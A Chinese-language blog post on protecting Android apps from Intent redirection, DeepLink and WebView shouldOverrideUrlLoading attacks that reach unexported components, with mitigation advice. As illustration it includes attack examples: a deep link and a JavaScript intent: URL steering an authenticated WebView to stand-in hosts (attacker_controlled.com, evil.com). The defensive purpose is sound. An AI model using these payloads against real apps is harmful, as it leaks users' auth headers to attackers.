Skip to content
On this page

上一篇讲了[为什么要保护未导出组件]](android_access_protected_components.md),这一篇来说一下如何保护. 发现问题,我们就要有解决之道. 上一篇中所有的攻击行为,最终都要通过ProxyActivity作为入口,所以这里进行了阻断,那么就没有后续的问题了. 针对这个问题,有哪些攻击面呢:

  • 导出的四大组件
  • DeepLink

四大组件如何保护

导出的四大组件主要是通过Intent进行传递数据,总的来说只要我们:

  1. 不保证从getIntent之类的外部用户给出的Intent中直接创建Intent.
  2. 如果直接创建了Intent,要进行足够严格的检查.

不要从外部输入的Intent直接创建Intent

如果这条做到了,基本不大可能会出现问题,但是关键是有时候我们的业务需要,就是需要存在类似ProxyActivity的功能,那么该怎么办呢

对直接创建的Intent进行足够的检查

  1. 尽量不把Intent转给自己,如非必要,只转发Intent给其他package.

  2. 转发给自己的要严格检查

    • 不能包含Intent.FLAG_GRANT_READ_URI_PERMISSION,Intent.FLAG_GRANT_WRITE_URI_PERMISSION等flag
    • 对数据要做严格校验,比刚刚给上一篇中的AuthWebViewActivity的Intent中的url只能是指定的Host
  3. Intent.parseUri的时候一定不要提供Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))这种是非常危险的

  4. FileProvider不要提供 <root-path name="root" path=""/>这样的配置,确保共享的目录范围可控.

DeepLink实际上是Intent的一种特定形式,比如:

xml
<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>

这里提供了scheme vicitim://,这种类型的url会有系统自动转发给AuthWebViewActivity. 比如在浏览器中输入victim://some_victim_path?url=http://attacker_controlled.com

java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

shouldOverrideUrlLoading

shouldOverrideUrlLoading 未必与DeepLink直接相关,但是一般都有关系. 如果重载了shouldOverrideUrlLoading,而且访问的页面又不是可以完全信任的(绝大多数都是这种情况),那么就相当于一个未导出的Webview变成了导出的.

比如:

java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
    	Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
    	intent.addCategory("android.intent.category.BROWSABLE");
    	intent.setComponent(null);
        startActivity(intent);
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

如果页面中的js执行:

js
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

这里就像前面提到的,变成了一个导出的组件.可以任意访问内部未导出组件了.

下面这些应该写么?

加载url问题

如果LoadUrl可控,比如更改的webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());,那么要考虑:

  1. 任意文件读取问题 Android中WebView的跨域漏洞分析和应用被克隆问题情景还原(免Root获取应用沙盒数据)
  2. XSS问题 scheme是javascript://,那么就可以直接在当前页面执行任意js脚本.

针对这些问题:

  1. 不要允许webview访问FileUrl
  2. 不要允许javascript等scheme,应该只允许特定的scheme.

参考文档: Android: Access to app protected components